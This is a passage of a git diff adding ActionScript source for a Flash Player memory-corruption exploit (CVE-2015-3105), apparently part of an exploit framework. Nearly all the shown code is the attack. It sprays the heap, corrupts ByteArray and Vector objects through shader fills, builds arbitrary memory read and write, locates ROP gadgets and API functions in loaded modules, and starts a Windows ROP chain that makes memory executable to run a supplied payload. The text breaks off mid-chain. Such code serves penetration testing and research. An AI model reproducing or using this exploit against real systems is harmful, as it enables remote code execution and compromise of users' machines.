z<!oo``QI5c;scDI`DWCS2X#0*XhX;rvMv1$1hOao#lL~4n|6uTn29|gn?B5_Vv_nu zP1uoy$7+elD`nNrA}G7;=3~uVpeecM9YkNxv)6`;GaFKbJ9Ihh?9PRkd0#(joJqYe z{xEX}X-FvZzbBYP2Q2%FQI_wWHMHSp{Z9<iiT9ebx<i4%IZG9We{8!Y^Js6cU;M^E zbet6Ov(s!kYcpyT-z1ZcL&0;VuV@WI5#lmOW@VBu;r0WESY+RhcT)aIWFVlUXxVZC z!VwO=l)eE-YDfL;iKcas-Q2}G9<D1(&1<|J56RGu=Z9ddLnR@*mMY@{0t<m+YML>@ zHa`gsz?Fzde6s;PU0=7kW_b^$6QTG@Y}+}@B}`W>=DMD%hvdg<_MoTL%&9hQ)g{>g z`3(Zj<jd19?E#fuvuN~96BF&lH>D!Lwuv>ca6-dAG8%pop)}g!7Ak_>^F&fsN_>dB z3h#e{M5plsD6gDir^0fH73C6J)~q~UyU*0&!t11ZHQ!?THuyu_1aJ?(s~T03UKVd< z`;?LWgmN!jCA$tnz$g=1;1dZ|e}H?-Zyx1+Q?l1ZUkgFd;kV2E3r`&31I5rgW%Eu{ z{(^aFOxlATM#jUDb0|obhjAj7)SZ1!<c~h}!@ntk-10F8&v7<buvP@X{LC{56#JAd z7*7o}V-T9w-@f^>Z}T$3z6lDA&pbDox)Y_qL4{tstcqfgWt6pM6Se}~n?D=qZ3O$Z zJ>39;>eCQ{MSBXAe$An{5v=2;bbD%a*HTmhAk;t+9<n57wj#{`DJIAcoJ?TAr&tO3 z6$BN)0a}yn6!e9hgU{{9k&Mp1D$H_<s(`_5B1b*LZo@DJiSaVW91<nYigAf20@eoE zJ+?3l;EH9$$(~UF8S4z~h%p{2x7`SqJ$iX5TSV%j3qKCUB;2S(5KjqAWWoKwf+SML zv9TNG#?S1+uUPPlRoLs!|CRk!p>}x=t8%ACCF?M<Mr}_t;xBj^Hp*<jhdLIAA@w_> zkr#Oo`)ATKR0AXxx*(Sd#R5`&NP6DIr+4en$-%dA{U@x`K*v`KQS&9)x}t?@;z}t( zzEeLgP0CWusol76d0~tciA5x<ui7C~6PI@PgDtFCMJo(q0sC_JW7}k`5<LpxrVhA; zAHKC&S0)t+0A1n3N1_GhuFjsric%G2#MMiMYQ0o_^U>eBFBtXLeP=R5ccM+m1-2Cb zv_eumB>*uJh})@WsF*RDneQ2aO=6{1$5TuNH}fYC1nqob)C7W3`R%#&gyl1Dm6wjb z&hs~AxDgwE2V>vt4GPT-oM0!{Es5==riulVV|qg?%XB|T@ctgLqjZMF2_L%x_Kn4o z;4_2HWdD<T_gP}QCuf4{(wqBGqqu@bMeYt{QMWi<K4HL;iMtIq#h#At`~t2Ap^4;# zr)@q2tiBlt`XpT0O%zU+&qwm!N#6697rI!)v{eM;Y-Y_*EW;<Lv$9O_4WdAE2Xpu% zuUcA`kx-}10KOc7HLKUPjYTwR9=N8`4?UUZZNT!exkAm5-GzDutVmbh)*3o|{H@Kp zo8UyMOFGHv8>Jeb{Pk||`2@RoX&0s`<)C44#Wtl@aZRQH)R;LFJp9K0v^mo3u6fJu z3r9%%Mo$vn3}HHx(j^XX@r*0bv}3G3+OE93|5OG?DENVu>KC50lHVDTW9kT{DIj2! zbz8QK{$8(tIF6+&PC3Br%JSynSzsV$18mE-fMF_9x80Xre2ENVldBSr)hk8bRN}Nj z4yGCvf#gMAL!5zV&=V=y-^KAK)N>g3ku&MCFtW$4+O4fk)h;|fBd@5Haj*FeDg@W7 zi8Z=t=SB^;RG9xq__RfGsd#qOSGED~CWxeiRQuRh^UZbAo9LJ(+i+NEWIv_9&0u$; z4Gz};xNwj{*4mG$i=-R0(Di`P4C1!jVxB_lVkaZmN4#xG-0{}rpT-rv6V*z4Q#;Ju zF+9uc_(}8Q7q<F`&x@?J+fbhG0??q|BUd5Dl$1LtqL2gMq#{SNT1pL*?G-v<7h( zvI|gGQ+A2KoeXNLVh)e$mo0SmlRTI!yweUm@o0ioLqt^i%wQkUaNB#C6WTFU>a6^Y zF-ajDavaDPeVs;ubKv%8oc^*s-OK8Ls>FsGu8EfBm2qhUi{MJI_xY~czdYSvVKZ+Q z8nA)*VsjQIrd;)^<VKQCL@P{nX>@V>KE4U7=EF}M4Vl#4RHZ=tfv{B`FrGF`!4<f% z{cys0e~p_SW@})d5@0atkU8o$BQESb`gj}cdE(e&bhdgF+(-%gM83<+FuU?b&G>h4 zW934NM&{F8)%hC8XuJQJ`s)s>^55tZ;5ez1KF$tW36b<FV6VDf3>xER;>*V@7x18n zc7r=?DnKn#Y9UIotM$dD)O5qhXia0GiU8d~=tc^282SA&Q5Z8gX23wDwEY^bT)@8D z@aYToun0XxT!AAyKa<647TuDw?C8h|YL53lM=sG3Nn{hfd#+y2jM>qV1rWZw^as5w zDI@547t0$T8CJzw(~#KL4nc6i=WZ}E9@TIEi+M;x`+~}w0&0-3BM_*PjHhzpd1q&V zM`$KZ6<rgO12KUI+A9aXi&5`0U;+X9WKu8PO@Wa)9D1n~wJ+@rbm75HO{|dx8o*!c z%SZ;ZRl0~h@ETQ?yrLu3b!Cr_VYr>OeUf2RlO?2r@&~G@=QI(#$0)m3q9}lZ-}{E< ze>m{YPvYWQ-C1od3BfkNfC8!BT?M5|M<&#}<x}p8zhcu<7Xa`4tPr_<mNoY?Oq1A9 zmF3wmo^9tSwCLgTSG4&D%6!Ndf{%g*+N_oBA2fX7R^al5`(;=)u3$OIS?vywMMsT* zbPacpS$kr#rUm4b^07!g5w~aQ{Dk@&xso6l{WpE;a_Hc;`HMIA!f}Oxi!_k$mwg{^ z2@*FnY^<?em1P|#ZAat;7>}uacMO44#rfyCd4wRv=zzQ@Kj;aFLUT&~bL45IYJ0hl zQd8VB&=J_6mdJof0Fxy=_GS+ien^?J(M-%2ry{GSjm{4Ljic6p_kLo0sH7iPEotXX zCKuQ97zhys4uRM{-LhAYh1hTc1DF35#CkS2WptydN@`$}bW-m~M1uBEq$#DrU>iea zQ{j1)to4+N&xYjax`4uGBu}80db$)a-6uL`VK6Q4WIYd-)q7K{raaGx>{(jt8lv4W z;k9bzOId~@24Pky6(JY&FrsEU34}`7_t%I}37<pHUd1_Qoj02Bu_q=~GIzxU`a~Ks zgns#LP4u#I&FE1ajR6c~?_9a;YKRPO3_(=G2Jp_D3M)_1nQ82p&UBN;_^ozl_stXz zdh?UB4eg0tR!wGlLd!`9T{A)EC%{p)wu-pLy6&_^AJVkNwaU&ypo~dPKhkpTPJXan zw_R*}Hf-fP-K$|7#S0mwY1_KO8nP2x%|5vCmY^Pn$~^CqHHnF2a49@VMs3?}HM_Kb zh%;`jF#?GyL;NR%^hvbo?{qwCl>T9dK6<$@nU_ovOkQX&U}K<w8oU9yNanPwYDRH3 z3g#{W8_vEBy(y>wE=TN({BFp45;Xl7m~0tVb`E1C7VrB&CiOm^3&aPe&m-$=2q;42 z#No<KwNK??(15^s;VreB{>$<BOSpxyyBbLje?lg|JAJjcbR~FyerHk(PZJgf+vtF( zS@f#cK3_U>p~29quBt|m3>e6lLslNy;@f!}80>7cevYvp&<W*uDJD-=3<@=RfB~NR z7&+r^IABg5&l)TDyTjw{ve&>=?nC)iQM`Vm!j4VPU`LiBZe~__(?;mF4F6b%z%ZD_ z`N@f=lQ6JS%hq`4cH$2ZEksX2vFdbuMKBLhQspM4X-!S8YFiVcu<Se8m$}Kv)hh$O zVNTt@piz{ugeSP??s5R<G)h-2CyF4Bl}VtZ-3yabs`qDAg9wtY-q8hc_kB5d&7F*o z1SogYh@8IugPhMu#$il!r3{OUp@bpgE|OC~-mtNr>to)B0+!ITA+VU|llMeWO9T8j z)?-g%XMcOSL!VO{<<gLxJY9&s)mWVFc8%ai6>`Urk#DK7x<mP5oy9884sBbg)+Y6_ zQl8q@H(ku3_eO<z<%sIBLr#vNyCI<wGXlZ5ep;vimmyqe+9w0!LHjm!Yqh<TdwP=Y zH-ue<(n43Xm2=e5R60spUyanR8;LX@QQ1JS{r%SIGM}YnRu|kaHurUawO(V9X5+E? zZyOvAQ1&c#d+jYOKX81-FK}M(D>0e0u`(EcVS6U5YD_&!eW*JC+A3nTTfkmU=O$&> zS6F}*P&kmBV802ypJgep8tj&mYX)eJCF<Q}6A3VVwpNxjQK8aFz)`}U7Pe61MZ_#L z#y7H@!Xzxdr04NiTn_MKLxP39E~`Jpz^8-i)3DVbpx#SuQM8^mG=Pjdze&8IRJXL| zfETrt-o$AO@Na<RLp3>DoFVis&XC<kl7fa#x1j*$3RC!8|Ek`IKZr?7`5MF9EZ!l_ zvV;hSK+ic-T=Au>eXzf(W-|MtuNx2d$q84Ak`u5+8U{xY*r|KxVD-}rZAn?;pOikJ z6_@n^Ny2?@hV?TvP2mcEMkwrJR%qj|Lo_IalnREB#l#DoW$P!!6A+KX0SN;<!doc| zk^&!0O%vbt)ppR$cnf^mBZUMWAT666G?i|%zCt))l%Cisu&xnCqoUEd>Yz{v$|T-i zMWa_+%0XX(>4U7@R;uOgT0a!2+0+4o6b$^6c!#+$E>D6%YYWZ8)xXE1%01eF40-Yy zL8-<64A_Bs&(T;VI?wky0(XA}iI<Lue-Qc_JRDa1{qcrl2*}U6-xdljgb@e(8OSk0 zZV4N|p8Ng47Kr-eduhm+hxg-`NZj;Pk*O%^IyY%Ug<}`Q)8QkC`+BDjS<t3sv=2(j z;&NX=c{E8<Rg48fPKa?Cx^vi{hzEeDpb<h%&`5$P1-KezQ7#)}`hCbeg1NWzkdl&e z8q>@)V#xLnRgi9oQR`5zD3o+CPv)+%epGuC&wTNa@lde>mN<SBS|J7<J|q{cMN~j$ zgU4@%86I>%pt?QMfns*d1=B6j%aAvgw8~f?AS9;H-NsB;x&%sHWPF=@;6mYzp@$Yr zu|Ghxy|iHypAGrQ1PjVV8^}wq#IxMQ_cM^}my01zO#?vrQJl2+i*P!r3Cl*&OSE*? PvmJKbDF`h8{=;<bFe#&B literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2015-3105/Elf.as b/external/source/exploits/CVE-2015-3105/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/Exploit.as b/external/source/exploits/CVE-2015-3105/Exploit.as new file mode 100755 index 0000000000..3cd687f6b4 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Exploit.as @@ -0,0 +1,237 @@ +package +{ + import flash.display.Shader + import flash.display.Sprite + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + import flash.geom.Point + import flash.utils.Endian + + public class Exploit extends Sprite + { + private var uv:Vector.<uint> + private var canvas:Sprite + private var filler_shader:Shader + private var transformation_shader:Shader + private var top_middle:Point + private var bottom_left:Point + private var bottom_right:Point + + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + [Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ] + private static var FillerPbj:Class + [Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ] + private static var TransformationPbj:Class + + private var uint_vectors_length:uint = 70000 + private var ba_vector_length:uint = 5000 + private var ba_length:int = 0x2000 + private var uint_vectors:Vector.<Object> + private var ba_vector:Vector.<Object> + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + canvas = new Sprite() + addChild(canvas) + var size:uint = 400 + + top_middle = new Point(size / 2, 10) + bottom_left = new Point(0, size - 10) + bottom_right = new Point(size, size - 10) + do_exploit() + } + + private function do_exploit():void + { + setup_shaders() + apply_shader_to_exploit() + } + + private function setup_shaders():void + { + transformation_shader = new Shader(new TransformationPbj()) + + ba_vector = new Vector.<Object>(ba_vector_length) + uint_vectors = new Vector.<Object>(uint_vectors_length) + + // Initialize uint vectors + for(var i:uint = 0; i < uint_vectors_length; i++) // 70000 + { + uint_vectors[i] = new Vector.<uint>() + } + + // Allocate Byte Arrays + for(i = 0; i < ba_vector_length; i++) // 5000 + { + ba_vector[i] = new ByteArray() + ba_vector[i].endian = "littleEndian" + ba_vector[i].length = ba_length // 0x2000 + fill_byte_array(ba_vector[i], 0x35555555) + ba_vector[i].writeInt(0xbabefac0) + ba_vector[i].writeInt(0xbabefac1) + ba_vector[i].writeInt(i) + ba_vector[i].writeInt(0xbabefac3) + } + + // Make holes + for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000 + { + fill_byte_array(ba_vector[i], 0x37777777) + ba_vector[i].clear() + ba_vector[i] = null + } + + // Setup shader + filler_shader = new Shader(new FillerPbj()) //test_bin.pbj + filler_shader.data.point1.value = [top_middle.x, top_middle.y] + filler_shader.data.point2.value = [bottom_left.x, bottom_left.y] + filler_shader.data.point3.value = [bottom_right.x, bottom_right.y] + } + + final private function fill_byte_array(ba:ByteArray, value:int):void + { + ba.position = 0 + var i:uint = 0 + while (i < ba.length / 4) + { + ba.writeInt(value) + i = i + 1 + } + ba.position = 0 + return + } + + private function apply_shader_to_exploit():void + { + try { + filler_shader.data.point3 = transformation_shader.data.positionTransformation27 + } catch(err:Error) { + Logger.log("Error!") + } + + filler_shader.data.color1.value = [1, 1, 1, 1] + + // Trigger corruption with the hope of modify one of the sprayed byte arrays + canvas.graphics.clear() + canvas.graphics.beginShaderFill(filler_shader) + canvas.graphics.moveTo(top_middle.x, top_middle.y) + canvas.graphics.lineTo(bottom_left.x, bottom_left.y) + canvas.graphics.lineTo(bottom_right.x, bottom_right.y) + canvas.graphics.endFill() + + // Search the BA whose data has been corrupted + var test:uint + var mod_idx:uint = 0xffffffff + for(var i:uint = 0; i< ba_vector_length; i++) { // 5000 + if (ba_vector[i] != null) { + ba_vector[i].position = 32 + test = ba_vector[i].readUnsignedInt() + if (test != 0x35555555) { + mod_idx = i + break + } + } + } + + if (mod_idx == 0xffffffff) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting") + return + } + + // Clear the modified BA, we need a hole there =) + fill_byte_array(ba_vector[mod_idx], 0x39999999) + ba_vector[mod_idx].clear() + ba_vector[mod_idx] = null + + // Fill the BA space with well positioned Vector.<uint>'s, hopefully... + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + uint_vectors[i].length = 0x13e + uint_vectors[i][0] = 0xcccccccc + uint_vectors[i][1] = i + uint_vectors[i][2] = 0xaaaaaaaa + } + + // Corrupt again, hopefully one of our vector lengths =) + canvas.graphics.beginShaderFill(filler_shader) + + var corrupted:uint = 0xffffffff + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length != 0x13e) { + corrupted = i + break + } + } + + if (corrupted == 0xffffffff) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting") + return + } + + var offset:uint = 0xffffffff + for(i = 0; i < 2048; i++) + { + if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc) + { + uint_vectors[corrupted][i] = 0xffffffff + offset = i + break + } + } + + if (offset == 0xffffffff) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting") + return + } + + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length == 0xffffffff) { + uv = uint_vectors[i] + break + } + } + + if (uv == null) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting") + return + } + + var my_offset:uint = 0x3ffffffe - offset - 2 + uv[my_offset] = 0x13e + + for(i = 0; i < ba_vector_length; i++) { // 5000 + if (ba_vector[i] != null) { + ba_vector[i].clear() + ba_vector[i] = null + } + } + + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length != 0xffffffff) { + delete(uint_vectors[i]) + uint_vectors[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) + } + + } +} diff --git a/external/source/exploits/CVE-2015-3105/ExploitByteArray.as b/external/source/exploits/CVE-2015-3105/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/ExploitVector.as b/external/source/exploits/CVE-2015-3105/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector.<uint> + public var original_length:uint + + public function ExploitVector(v:Vector.<uint>, length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.<Object>[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/Exploiter.as b/external/source/exploits/CVE-2015-3105/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) + private var spray:Vector.<Object> = new Vector.<Object>(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // 